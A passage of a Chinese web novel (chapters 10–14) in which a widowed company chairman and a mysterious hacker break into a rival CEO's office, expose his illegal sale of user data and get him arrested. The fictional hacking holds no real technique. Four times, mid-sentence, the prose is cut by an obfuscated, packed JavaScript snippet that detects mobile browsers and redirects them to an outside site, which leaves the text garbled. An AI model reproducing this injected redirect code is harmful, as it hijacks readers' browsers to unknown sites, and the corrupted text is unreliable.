涨薪本该是好事,可碰上这个节骨眼,众人担忧地看向伽巧。 “即使不涨薪,我们也会留在千合啊。” “现在应该把资金用在刀刃上,高薪聘请更有能力的人担任CTO,填补黄峥的位置。” 以目前的状况判断,千合并没有大幅度涨薪的预算,除非…… 蔡汐眉头锁得死紧,口吻无比严肃,“伽董,你……准备接受傅清延的条件,跟他结婚吗?” 如果伽巧选择接受傅清延,一切都说得通了。 可那样的话,刚刚‘誓与千合共存亡’的豪言壮志,显得多么荒谬和可笑。 伽巧看向蔡汐,认真地否认,“不,他太丑了。” 蔡汐:“……” 其余高管:“???” 敢情祝南屿是靠颜值上位的。 “会议结束后,请各位按照原本的计划推进工作。”伽巧说完,叫来助理,“把锐科总部的资料给我。” . 入夜,伽巧披着一件纯色黑斗篷,衬得身形愈发纤细。 面前的墙壁上,钉着锐科集团总部大楼的平面图。 伽巧缓缓拿起手边锋利小刀,平直地掷出去。 ‘咻——’ 寒刃划破空气,精准刺入平面图正中央,总裁办公室的位置。 想要了结傅清延,办法要多少有多少。 问题在于,这个世界的生存规则:欠债还钱,杀人偿命。 死倒是无所谓,伽巧单纯觉得,为了傅清延那种人搭上自己的命,想想就觉得亏。 既然不能杀死傅清延,要让他放弃跟千合竞争,还能怎么做? 断手断脚?关起来慢慢折磨? 好像都太刑了。 伽巧冥思苦想的同时,旁边手机一直响个没完。 那位打字很慢的Zoa,正在以前所未有的手速刷屏,拼命吸引关注。 Zoa:千合的事我听说了 Zoa:在你做出任何行动之前 Zoa:我必须提醒你 Zoa:伽董本身也是考虑合作的重要原因 伽巧见他那么努力,终于捞起手机回复:我知道你对我居心叵测,可我已经结婚了,请你换个对象吧。 消息发出,Zoa回复速度奇快无比:我听说,你丈夫已经消失很久了。 “又来了。”伽巧喃喃。 祝南屿遇难后,太多太多人说过类似的话。 似乎伴侣去世之后,应该把他那一页彻底翻过,立刻找个新对象。 伽巧曾经听过一种鸟的故事。 那种庞大而优美的海鸟,寿命几乎与人类相等,一生只有一个伴侣,每年都会飞跃大半个地球与伴侣重逢。 如果其中一只鸟死亡,另一只鸟余下的生命里,都会带着记忆寻找自己的伴侣,至死方休。 它们也许不是为爱结合的,但忠于配偶是刻进DNA的本能。 伽巧想:人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422945|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用那么多故事、法律、誓言,宣传‘一生一世一双人’的正确性。 为何总喜欢背叛自己制定的规则? 伽巧:他只是死了,又没跟我离婚。 消息发过去后,‘对方正在输入’闪烁半晌,始终没有新消息传过来。 哪怕脸皮再厚的人,收到那种回复,也不会再死缠烂打了吧? 伽巧正准备放下手机,继续思考怎么对付傅清延,提示音再次响起。 “……”怎么会有这么厚脸皮的人。 伽巧抱着‘我倒要看看你还能放出什么惊世骇俗之屁’的心态点开消息,发现Zoa远比自己想的还要变态。 Zoa:你大可以钓着我,把我当□□慕有夫之夫,却有心无胆,可以唯你驱使的工具。 Zoa:业内都传言你是淬毒的菟丝花,无情无爱只会利用别人,怎么独独对我狠不下心? Zoa:那我可要多想了 “真会自作多情,世界上怎么有这么无耻的人?” 伽巧阅历太浅,被对方的变态程度刷新世界观,连原本筹谋的计划都忘记了,恼怒地编辑回复。 伽巧:利用你有什么好处?累赘罢了。 消息刚发出去,对方似乎恭候多时,立刻亮出底牌。 Zoa:我能够入侵总裁办公室的主机 “……?” 即使伽巧对技术层面一窍不通,也知道入侵总办的主机,需要承担多高的风险以及多么牛比的技术。 那么问题来了。 技术如此牛比的大佬,随便去哪家公司都能得到千万以上的薪资吧? 这段时间,Zoa唯一的工作,竟然是跟自己以五分钟一个OK的速度对接? ——他到底是什么人?出于什么目的接触自己? Zoa:有幸成为你的共犯吗? . 凌晨一点,夜色如墨,无星无月。 锐科集团总部大楼前,保安亭有两位夜半保安正在值守,背后的办公楼还亮着几点灯光。 正值锐科与千合抢项目的关键时期,员工通宵加班是常有的事。 老保安困得打哈欠,眨个眼的功夫,似乎有道黑影掠过眼前,轻快地飘到两米多高的保安亭上方。 “师傅,刚刚好像有个人过去了!”年轻保安拿起警棍,从保安亭探出头,警惕地观察周围。 “你值班值糊涂了?哪来的人!”老保安嘻嘻哈哈取笑他,“咱俩在这儿守着呢,除非他会飞,否则不可能过去。” 年轻保安工作经验短,担忧地问,“真没事?” “没事!就算进去能咋滴?公司里还有人加班,到处都要刷卡,安保措施严着呢,别瞎操心!” 总部大楼内,加班加到两眼昏花的设计师,突然被风吹窗帘的声音打断灵光,扶着脑袋暴躁地大喊,“吵死了,把窗户关上!” “抱歉。” 办公室里,响起一道陌生但非常好听的声音,同时伴随着关窗声。 设计师猛地打了个激灵,忽然想起—— 今晚,整层楼只有自己一个人加班。 而且他根本没开过窗户! 设计师惊恐地抬起头,准备看向身后。 回头瞬间,后背猛得一痛,而后意识迅速变得模糊。 陷入昏迷之前,还听到那道天使一样的温柔声音,叹息地说: “凌晨一点还在卖命。” “猝死之前,考虑换份工作吧。” 11. 第 11 章 ‘叮咚——’ 清脆的提示音,回荡在锐科集团总部大楼26楼,高管办公室所在楼层。 本层涉及公司核心业务,通常只有部级经理以上的员工有权出入,安保等级最高。 电梯门外,左右两侧站着两个身穿黑衣,体型高大的保镖。 他们双手背在身后,单耳戴着对讲机耳麦,能够随时与分布在其他位置的同事沟通。 听到电梯门缓缓打开的声音,两个保镖警惕地看过去。 电梯里走出一位穿黑斗篷的美人,兜帽遮住大半张脸,只能看出身形非常纤细。 柔若无骨的手紧紧攥住胸口的衣襟,头压得很低,仿佛一件易碎的艺术品。 左侧保镖立刻伸出胳膊拦住他,“站住!你是谁?这层楼不允许随便进入。” 黑斗篷美人似乎被吓得不轻,身子退后半步,用近乎耳语的声音替自己辩解。 “有人让我过来的。” 说话间,他飞快亮出掌心的烫金名片,又迅速缩回手。 左侧保镖还准备继续追问,右侧等级更高的保镖摇摇头,低声提醒美人,“完事了快走,千万不要被其他人发现。” 名片上印的那位高管私生活糜烂,男女都来,而且玩得很极端。 像这样命令小情人来公司陪自己搞办公室play,并不是第一次。 锐科大领导明明知情,却害怕抹黑公司形象,要求所有人不许宣扬,看见了也假装无事发生。 “居然比计划还要顺利。” 伽巧顺利潜入锐科集团的核心区域,暗想对家公司真是一个巨大的草台班子,到处都有破绽。 总部大楼内,生活建设非常完善,有些高管加班太晚会留在公司过夜,但傅清延没有这个习惯。 伽巧悄无声息来到总裁办公室外,隔着门板仔细聆听,确保内部没有任何声音。才拿出从傅清延喝过水的玻璃杯上,拓印的指纹生物指套,戴在自己指尖进行信息识别。 “认证成功,请进。” 机械音响起,办公室门应声打开。 伽巧闪身入内,同时利落地反锁房门,从口袋里拿出手机发送语音消息。 “我进来了。” 为避免被监控摄像捕捉,伽巧提前把模式改为息屏也可以发送语音,并且收到的语音会通过耳机自动播放。 很快,蓝牙耳机传来经过变声处理,听起来命不久矣的沙哑声音。 “开机,注意不要留指纹。” 先前制定行动计划时,伽巧问过Zoa为什么要变声。 Zoa半真半假解释说,自己原声太难听,想给伽巧留个好印象。 ——印象确实挺好。 每次听完如此粗制滥造的破锣嗓子,再回想祝南屿低沉温柔的声线,简直宛如天籁。 “收到。” 伽巧直直走向总裁办公桌,确认不会触发警报,才按下主机的电源键。 锐科不愧是互联网巨头公司,电脑运行速度很快,打败全国99.99%。 按照计划,伽巧把Zoa提前送过来的miniU盘插入USB接口。 顷刻间,三台电脑屏幕立刻开始自行运作,飞快扫描本机和公司内网的所有文件。 即使伽巧再怎么不懂技术,也对这番天秀操作心服口服。 进度条飞快跳动,短短十来分钟,锐科过去三年的文件已经扫描完成八成。 Zoa通过远程操作,寻找有没有隐藏起来的加密文件。 伽巧紧盯着屏幕,突然,屏幕上跳出输入密码的页面。 然后光标闪烁几下,密码框出现八个黑色星号,随即点击确认。 ‘滴滴——滴滴——’ 下一秒,刺耳的警报声毫无征兆炸开,三台屏幕同时出现红色惊叹号,映得整间办公室透着血红。 “真阴险,被镜像代码摆了一道。” Zoa听起来丝毫不慌,耳机里传来敲击键盘的声音,三两下解除警报系统。 虽然警报声已经解除,但外面依然传来急促的脚步声,匆匆跑向总裁办公室。 “现在怎么办?”伽巧语速明显变快。 “还有几个加密文件没有解开。”Zoa略一沉思,开口道,“保险起见,建议先撤退。” 伽巧飞快瞥了眼屏幕上的进度,“你还需要多久?” “4分30秒。”Zoa报出精确时间,敲击键盘的声音未曾停止,同时幽幽提醒,“可是外面的保镖只需要半分钟,就会聚过来堵住所有出口。” 后半句话伽巧显然没听进去,抬手按住耳机,慢条斯理地告诉他: “不急,我给你五分钟。” . 驻守在外面的保镖团队听到警报,纷纷跑向总裁办公室。 电梯门口的两个保镖最先跑过来,发现办公室门从内部反锁,立刻通过对讲机向上级申请破门权限。 权限尚未得到批准,办公室门却从内部打开。 级别较低的保镖反应迅速,率先冲进去。 他甚至没来得及看清里面情况,只觉得眼前一黑,身体软绵绵倒下失去意识。 另一位保镖见状,意识到自己绝对无法应付,连忙转身搬救兵。 刚跑出两步,脖子突然一凉。 冰冷、尖锐、坚硬的物体,精准的贴在颈侧动脉的位置。 “别开口,别回头。” 一道清冷的声音从背后响起。 保镖感觉到粘稠的液体顺着颈侧皮肤淌下,吓得他浑身僵直,血液几乎冻结,用行动表示服从伽巧的命令。 “你们总共有多少人?” 保镖颤巍巍抬起手,左手比了个1,右手比了个6。 16个人。 比想象中多,同时解决会有点麻烦。 伽巧继续问,“你是队长吗?” 保镖小幅度点头,生怕碰到抵住脖子的凶器。 “很好。你现在拿起对讲机,按我的话说。”伽巧见他颤巍巍拿起对讲机,冷静地发出第一个指示,“告诉他们,人在顶楼。” 保镖队长不明所以,依然按照伽巧的指示,用最惊慌的口吻大喊,“不好了!入侵者逃到顶楼了!” 锐科总部大楼总共28层,顶楼天台通往唯一的逃生楼梯。 刚才警报声响起的瞬间,电梯已经停止运转,保安和加班员工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422946|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着楼下大门。 入侵者想要逃离,跑到顶楼通过逃生楼梯与保镖们周旋,应该是最后生路。 为什么要引导保镖上楼,把自己的路堵死呢? 约莫过了两分钟,对讲机传来汇报。 “报告队长,顶楼没有发现入侵者,逃生楼梯还是上锁的!” 保镖队长攥紧对讲机,直冒冷汗,求救般看向伽巧。 “现在告诉他们,人在27楼。” 保镖队长按照吩咐,演技大爆发,添油加醋地转达,“他肯定发现顶楼走不通,逃到27楼了!大家快去追!千万别放过他!” “……” 你当保镖真是屈才,被开除后转行做演员吧。 很快,楼上响起纷叠的脚步声。 约莫又过两分钟,对讲机再次传来汇报,“报告队长,27楼也搜遍了,没有找到半个人影!” “怎么办?”保镖队长显然忘记立场,担忧地问,“他们已经把楼上搜了个遍,接下来该找这一层,你要被发现了!” 伽巧计算着时间,慢慢缩回手里沾了墨水的钢笔,下达最后一则指令: “现在,让他们全部来总裁办公室。” 说完,伽巧退回到办公室,同样反锁上门,绕到办公桌后面。 屏幕中,只剩下最后一个加密文件正在解锁,倒计时10秒。 门外的喧嚣达到顶峰,所有的保镖从四面八方聚集过来,已经得到申请,准备强行破门而入。 嘶吼声,咒骂声,砸门声,吵得沸沸扬扬。 “3、2、1。” 在他们破门而入的瞬间,屏幕中进度条达到100%。 伽巧立刻拔下miniU盘,顺手关闭电脑,打开窗户跳到窗沿上。 夜风吹起他的黑色斗篷,如同死神展开黑色羽翼。 冲进来的保安看到这一幕,集体愣住。 无风无月的黑夜,那人稳稳立在狭窄的窗沿上,斗篷下露出一双漂亮而冰冷的眼,像今夜缺席的星辰,神秘又遥远,雾蒙蒙看不真切。 他冰冷的扫视所有人,眼神没有丝毫人类该有的情感,逼得所有人不敢贸然靠近。 静静对峙三秒,那人在所有保镖都注目之下,张开双手,身体轻飘飘向后倒去,没入漆黑夜色。 ——他跳下去了。 “等等,这里是26楼!” “跳下去会摔死的!” “快通知楼下保安!” 十几个保镖吓傻了,争先恐后冲到窗边往下张望。 深邃夜色仿佛吞没一切,哪里还有半个人影? 与此同时,陷入昏迷的设计师被噪杂和警报声惊扰,迷迷糊糊睁开眼睛,又听到晚风拍打窗帘的沙沙声。 “好烦,窗户怎么又打开了!” 他烦躁地走到窗户边,向外伸出手,才发现空调外机上不知何时站着一个漆黑的身影。 “你、你……” 设计师吓得说不出话,眼前出现一个卡片形状的东西,催眠似的摇啊摇。 他下意识伸手接住,发现是自己的员工证,耳边又响起昏迷之前,那道好听的声音。 “谢谢。” 12. 第 12 章 #锐科集团遭遇不明人士入侵#[爆] #傅清延回应#[沸] #千合#[沸] #现实版商战#[热] …… 早高峰时段,微博热搜前排被互联网巨头公司锐科的一纸声明屠版。 执行总裁傅清延面对记者镜头,脸上写满愤怒,义愤填膺地咒骂,“这件事性质非常恶劣!某些企业用卑劣手段攻击锐科,必须为此付出代价!” 吃瓜网友看腻了娱乐圈的小打小闹,吵来吵去无非恋爱、出轨、粉丝撕逼。 猛得遇到这么大的事,纷纷来了精神,抄起键盘冲进商战现场。 【浇死发财树,给貔貅屁股挖洞简直弱爆了!现实版商战真的会派特工,潜入对家总办】 【他说你就信?锐科那么大的网络公司,总部大楼到处是摄像头,结果没有一个监控拍到‘入侵者’(手动狗头】 【100%自导自演,谁信谁傻比!从头到尾只有他们公司员工的证词,还说眼睁睁看着人从26楼跳下去消失了,以为拍科幻片呢?】 【业内人士偷偷爆个料,锐科为了抢千合的项目,不但挖走核心员工还截胡供应商,然而千合那边依然不松口。估计锐科没招了,想用舆论战逼千合放弃吧】 ‘业内人士’爆料内容有模有样,傅清延口中遮遮掩掩的‘某些企业’被拖入风暴中央,成为众人关注的焦点。 网友们带着三分质疑、三分看热闹、四分幸灾乐祸的调色盘心态,搜索千合代理董事长伽巧之后…… 沦、沦陷了。 【好吧我承认我是个肤浅的颜狗,千合老板长得好看,我三观跟着五官跑】 【你相信视频里那位柔柔弱弱、被排挤到角落也没发脾气,反而捐了2000万做慈善的伽巧派人入侵锐科,还是相信我是秦始皇?】 【傅总编点好的吧,比如伽巧用美貌催眠全世界,这个我信】 “艹!都是千合买的水军!” 傅清延看见网友赞到热门的评论,气得肺都快炸了。 “报警!快报警!”傅清延咬着牙,狠狠地说,“等警方的调查结果公布,我倒要看看他们还有什么好狡辩的!” “好的,傅总。”秘书连忙通知警方前来调查,同时提醒傅清延,“今天下午跟千合的谈判,是否需要改期?” “改什么期?”傅清延眯起眼,眼底闪过阴鸷,“我正愁没有机会兴师问罪呢。” . 再次踏进熟悉的待客室,伽巧身穿一件长及膝盖的月白风衣,束腰的设计显得身形更加纤细窈窕,仿佛用点力气就会折断。 傅清延特意把昨晚见过入侵者的保镖带在身边。 他们见到伽巧,彼此交换眼神,然后纷纷摇头。 眼前这位美人与入侵者身高相仿,但气质柔弱弱弱,怎么看都不太可能。 “祝夫人……哦不,伽董。” 傅清延改了口,神色明显没有昨天的傲慢嚣张。 “看来我低估你了,昨天的人是你派过去的,对吧?” “什么人?”伽巧坐到他对面位置,虚弱地咳嗽两声,“傅总,我听不懂你在说什么。” “大家都是明白人,就别遮遮掩掩了。昨天半夜,我的办公室遭到入侵,有人打开我的电脑连接公司内网!” “怎么会发生这种事?”伽巧似乎惊讶地愣了几秒,“看来千合也要加强警戒了。傅总,贵司有丢失什么重要文件吗?” 傅清延怒目圆睁,悻悻回答,“……没有。” “那有其他损失吗?” “没有。”傅清延用力攥紧拳头。 得知自己办公室遭到入侵,傅清延立刻让人里里外外仔仔细细进行调查。 结果不但所有摄影机都没有拍到入侵者,连内网的登录记录都被删除,没有留下任何痕迹。 只剩被破坏的办公室大门,还是保镖砸坏的。 伽巧看着他,语气平静,“哦,真是不幸中的大幸呢。” “伽董,你当真不知道这件事?”傅清延不死心的试探。 没等伽巧回话,站在旁边的鹿珉举起线圈本: ‘我家主人大病初愈,最近需要休养,昨晚刚入夜就睡下了。’ ‘他平常不用手机,所以不知道这件事。’ 据傅清延所知,伽巧确实不用手机,这是业内公开的消息。 祝南屿遭遇意外后,伽巧管理千合四年,业务能力可以用‘庸碌无能’四个字概括。 倘若他真有那种手段,千合不至于日暮西山。 难道……自己误会了? 傅清延暂且压下疑惑,转移话题问道,“昨天我提的条件,祝夫人考虑得怎么样?” 伽巧陷入沉默,迟迟没有答复,垂下眼帘望着手上腕表的指针,嘀嗒、嘀嗒、嘀嗒…… “祝夫人!” 傅清延原本不是急色的性子,却被他钓的心痒难耐,等不及开口催促。 “傅总!” 待客室虚掩的门被重重推开,傅清延的秘书匆匆跑到他身边,附耳说了几句话。 “什么?!”傅清延立刻变了脸色,神情瞬间惊慌起来,顾不得告辞就要往外冲。 “傅总。”伽巧突然在这个时候叫住他,唇角扬起笑容,慢条斯理地说,“惊喜吗?这就是我给你的答复。” “……” 傅清延瞪大眼睛,死死看着伽巧,仿佛此刻才认识他。 . 半小时前,锐科集团总部大楼,警方接到报案前来调查入侵者。 由于事关重大,警方特意出动痕迹鉴定组和网络专案组,在内部员工带领下进入26楼。 “……电梯里面应该有监控吧?有没有拍到嫌疑人的样子?” 目击保镖回答,“没有,他用来搭乘电梯的通行证是设计部员工的,电梯开门瞬间摄影机就被挡住了,什么也没拍到。” “知道了。我们已经调查了公司里所有出入口,都没有被强行闯入的痕迹。”警方团队走到总裁办公室门前,打量已经破破烂烂的门板,“接下来,只剩下这里了。你们说嫌犯入侵了这台主机,所以我们需要打开电脑进行详细调查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422947|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 旁边几个配合调查的人面露难色,毕竟总办的主机是公司最高机密。 想到傅清延临走前要求的‘水落石出、彻查到底’,他们向上级请示之后,开机输入密码。 专案组技术人员熟练地检查使用日志,同时向同事汇报,“凌晨一点四十分,这台电脑确实有工作记录,但是没有任何文件被拷贝或者传送,只是很普通的换了下储存位置和访问权限。我把涉及到的文件调出来……咦?这是……” 她双击鼠标,点开被调整位置的文件,然后—— 一份附有汇款记录的详细交易资料,出现在警方眼前。 交易对象是由外国黑色势力控制的企业,而被交易的‘商品’,竟然是锐科这些年通过APP收集的用户资料,包括姓名、身份证、手机号、家庭定位等等。 “锐科集团竟然私底下买卖公民信息,而且不止一次!”警方语气骤然严肃,质问在场的锐科高层,“你们知不知道,那些人买到身份信息之后就会电信诈骗,多少家庭因此支离破碎?” “这个,其实……”副总百口莫辩,诧异地低声嘟囔,“这些不都是隐藏加密文件,除了傅清延没有人能打开吗?” 助理反应快,想要拦住警方继续追查,却被两名警察控制。 “现在案情已经升级了,不要影响警方办案。” 网络专案员依次打开剩下几个文档,居然一个比一个精彩。 不止有锐科恶意攻击同行业公司的计划书,还有集团和傅清延个人转移财产、偷税漏税的铁证。 接到情报的傅清延知道大事不妙,想要搭乘私人飞机逃往海外,结果在机场贵宾厅被送了一对银手镯。 被带离机场时,无数路人现场吃瓜,纷纷拍下一手照片传到社交平台,再次引爆热搜。 #锐科倒卖公民信息#[爆] #自爆式商战#[沸] #伽巧好美#[沸] …… 吃瓜网友们打着饱嗝表示,娱乐圈那些黑料绯闻算个屁啊?这才是他们今年吃过最精彩的瓜! 【投票,傅清延为什么被抓:A、伽巧用美貌诱惑警方,B、傅总自爆卡车,C、他犯法了就应该进局子,D、以上全选】 【傅清延:我要报警!警察叔叔:好,马上来抓你。】 【涉案总金额高达几千亿,足够傅清延把牢底坐穿】 【我阴谋论一下,你们不觉得整件事情太邪门了,傅清延再蠢也不可能把文件放到那么显眼的位置让警方调查,背后肯定有个大佬暗中操控一切!】 Lanner退出网页,看向事发之后始终一言不发,暗中操控一切的‘幕后大佬’。 “祝祝,你没有什么要说的吗?” 差点快要原地坐化的祝南屿总算开了口,强势地提出要求,“合约里加上给千合的独家代理权,以及自主研发权。” “哦呦~祝董好霸道呢~”Lanner笑眯眯眨了眨金色睫毛,“那些条件倒是无所谓,不过——” “你先告诉我,你老婆究竟是……哪路神仙?” 13.第 13 章 祝南屿眉宇之间有一抹倦怠,但骨子里透出的从容与优越未减分毫。 他薄唇轻启,仿佛背诵一篇烙印在灵魂中的圣经。 “我妻子全名伽巧,今年24周岁。生日10月14,身高176,体重……” “Stop!打住!真的够了!谁要听你的《老婆观察档案》!” Lanner在祝南屿面前帅不过三秒,只好放弃‘高深莫测邪恶大boss’设定,双手交叠在胸口比了个夸张的‘×’。 “我是问你,那个疯狂的计划,即使派全世界最顶级的特工前去执行,成功率也只有七成左右。你那个柔柔弱弱的妻子却能够100%完成,没有留下任何证据,这样合理吗?” Lanner回想上次见面,伽巧面色苍白,手指纤细,腰身更是稍微大点风就能折断。 任谁看了,都不觉得他能突破锐科的铜墙铁壁。 祝南屿目光穿透Lanner,好似飘到很远的地方,声音轻得近乎叹息。 “那才是他一开始的样子。” “嗯?”Lanner脑袋上冒出问号,脸上写着:你当我傻比? “我们在一起时,所有人都以为,伽巧因为钱出卖色相。” Lanner忽闪忽闪金色眼睫毛,“难道不是吗?” 一个来历不明的柔弱美人,突然嫁给权利与财富顶端的大佬,怎么看都是标准的豪门金丝雀剧本吧? 祝南屿眸色幽深,“你猜对了结局,但没有猜到开始。” ——伽巧确实因为钱才接触自己,但他压上的筹码,并非自己的色相。 “只要你出钱,我什么都可以做。”少年声音干净,带着全然不谙世事的直白。 18岁的伽巧出现在春天里,衣衫单薄,墨发凌乱,眼神空空,似乎对世界缺乏应有的感知和好奇。 他没有意识到自己容貌具有多么大的天然优势,更没意识到这番话多么……危险。 祝南屿指间燃着一根古巴雪茄,饶有兴致审视他,“什么都可以?” “嗯。”伽巧以为眼前这个男人质疑自己的能力,伸手过去,“有打火机吗?” “有。”祝南屿随手从口袋里拿出金质打火机,抛了过去。 只见伽巧单手拆开打火机,烧掉填充棉芯。抽出细弹簧,手腕一动便拉得笔直。 然后将硬金制作的打火机主体高高抛起,在落下瞬间,绷直的细铁丝划过寒光,将打火机分成重量、大小相等的八块,切口平整光滑。 少年缩回去,堪比凶器的细铁丝完全消失。 “追踪、偷窃、暗杀……我都可以做,而且不会留下痕迹。”伽巧抬眼,平静无波地看向祝南屿,“你需要我做什么?” 祝南屿低头瞧瞧尸骨无存的打火机,又看向伽巧那张昳丽却漠然的脸。 一股久违的、混合着艳慕、惊奇与强烈探究欲的兴奋,迅速窜过全身。 他压下悸动,声音比刚才沉了几分,带着循序善诱的蛊惑,“我出钱,你就会做?” “嗯。”伽巧回答斩钉截铁,没有半点犹豫。 祝南屿笑了。 他向前半步,高大身影笼罩单薄的少年,清晰地提出要求: “那,做我男朋友吧?” “……”伽巧愣住,显然没料到这个要求。 因为他突然降临在这个世界,只知道最基本的常识。 在伽巧的认知中,男朋友指处于亲密关系的男性伴侣。 而‘亲密’的界限非常宽泛,其中包括……呃,某种负距离的身体接触。 伽巧略略沉思,浓密睫毛投下一小片阴影。 反正都是出卖身体换取金钱,似乎没差。 冠以‘男朋友’之名,听起来合理合法。既能得到钱,又不必承担被全球通缉的风险。 “好。”伽巧轻轻点头。 然后毫不迟疑抬起手,白皙纤细的手指,灵活地解开领口纽扣,如同执行命令。 “住手!”祝南屿声音陡然拔高,握住伽巧纤细手腕,“先别脱!” 伽巧没有挣开,迷茫地看向眼前男人,“不是这个意思吗?” “是、也不是。我请你当男朋友,自然有身体层面的渴望。”祝南屿大大方方承认自己的色欲,然后话锋一转,“在那之前,还有必要的流程要完成。” “?”伽巧疑惑地歪了歪头。 祝南屿微微低头,眼眸深深凝视伽巧,语气认真且郑重。 “我喜欢你,可以跟我交往吗?” 伽巧:“……” 少年淡粉色的唇微微张开,又抿紧。 那双空泛的眼睛里,总算染上一点类似‘嫌弃’的情绪。 这个男的,好麻烦。 祝南屿思绪回到现实,眸底一片阴翳。 从一开始他就知道,伽巧能够上天入地,但是对爱意的感知极其淡漠。 他耗费了足足两年,才让那样的伽巧慢慢习惯‘被爱’这件事。 可现在,伽巧又变回了从前,甚至内心更加闭塞。 恐怕这次要用更多时间,才能把老婆养回之前的模样。 祝南屿静静想着,眼神如同暴雨前夕的积雨云,压抑着怜惜与愤怒。 恰此时,病床边的手机发出提示音。 Lanner下意识伸出手,半死不活的祝南屿居然快他一步,抢先拿过手机解开锁屏。 伽巧:一切按照你的计划,谢谢。 伽巧当然知道,如果用自己的方式解决傅清延,事后肯定没办法轻易脱身。 Zoa手段太高明,不仅让傅清延再没有翻身的可能,而且把伽巧和千合摘得干干净净,从始至终没有留下半点把柄。 虽说Zoa表现出一副不求回报的‘舔狗’姿态,伽巧却很难做到不为所动,把别人一腔真心踩在脚下。 伽巧:有件事情想跟你商量。 祝南屿读完消息,心情有些微妙。 自己老婆成长了,总算不再把别人用完就扔。 可问题在于,祝南屿把Zoa设定为一个居心叵测、道德感薄弱、爱慕未亡人的痴汉舔狗。 如果继续跟伽巧接触,处境会无比尴尬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427402|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这戏该怎么往下演? “哈哈哈哈哈哈——!” Lanner看乐了,爆发出空前绝后的狂笑。 “不愧是祝首席,你绿你自己~正宫的身份,小三的作派。” . 傅清延被警方带走调查后,整个锐科人人自危,抢项目之事自然不了了之。 Lanner那边害怕再闹出幺蛾子,也表示对此次合作的重视,同时出于‘某个人想老婆快想到发疯了,稍微给他看一眼吧’的同情心态,特意举办签约发布会。 终于到了发布会当天,现场里里外外围满了记者,翘首期盼最近热度堪比顶流的千合代理董事长伽巧。 网友们压根不关注商战结果,单纯沉迷伽巧美貌、一心舔颜。 之前仅有的两段视频,已经被盘到包浆。 各大财经媒体临危受命,派出各家摄影技术最好的记者,带上从隔壁娱乐版同事手中抢来的装备,化身伽巧的站哥站姐,摩拳擦掌发誓要拍到神图! 幸好伽巧的美貌不负众望,稳定发挥。 今天属于正式场合,他身为千合集团代表,自然要正装出席。 一袭贴身裁剪的黑色西装,衬得伽巧肩线比想象中宽一些,裹在黑色西装裤里的长腿又长又直,惹得网友纷纷感慨‘不敢想祝南屿吃的多好’。 平常只在腰际扎住发尾的墨黑长发,今天难得扎了高马尾,少了几分柔弱,多了几分凛冽。 记者们趁着伽巧走进会场的时机,纷纷举起话筒提问: “请问伽董,你怎么看锐科集团爆发的一系列丑闻事件?” 伽巧看向镜头,声音干净,“千合集团始终合规经营,依法纳税,欢迎大家监督。” 【这波内涵6啊,不愧是商战大赢家】 【叽里咕噜说什么呢?光顾着看脸了一句都没听】 旁边记者监控舆情,抓紧机会提问,“伽董,有网友说锐科这次翻车与千合有关,请问您对此有何回应?” “我不太清楚。”伽巧长长的睫毛低垂,投下一小片阴影,漂亮的眼眸仿佛蒙着雾气,“也许……南屿在天有灵吧。” 【哪个脑残记者提的问题?叉出去!没看伽伽眼睛都红了吗?】 【如果真的在天有灵,伽伽出事的时候,祝董肯定在天上急得转圈圈吧?】 【虽然顶级BE,但是这口断头糖真的好好嗑呜呜呜】 有个眼尖的记者注意到,无论伽巧回应什么内容,评论区总有几个颜狗老色批上蹿下跳,万人血书求伽巧多多露脸,点赞数据高的离谱。 为了抓住泼天的流量流量,他心一狠,高高举起话筒,问出能让自己原地出道的问题。 “如今,许多企业家到处活跃为自己的公司代言。请问伽巧先生,你有没有注册社交账号,或者开直播接综艺的打算?” 他的问题实在突兀,吸引了伽巧注意。 “之前,确实有一档婚恋综艺邀请过我。”伽巧唇角勾起一抹极淡,却足以倾倒众生的弧度,“设定还挺有意思的,可惜……目前不考虑了。” 14.第 14 章 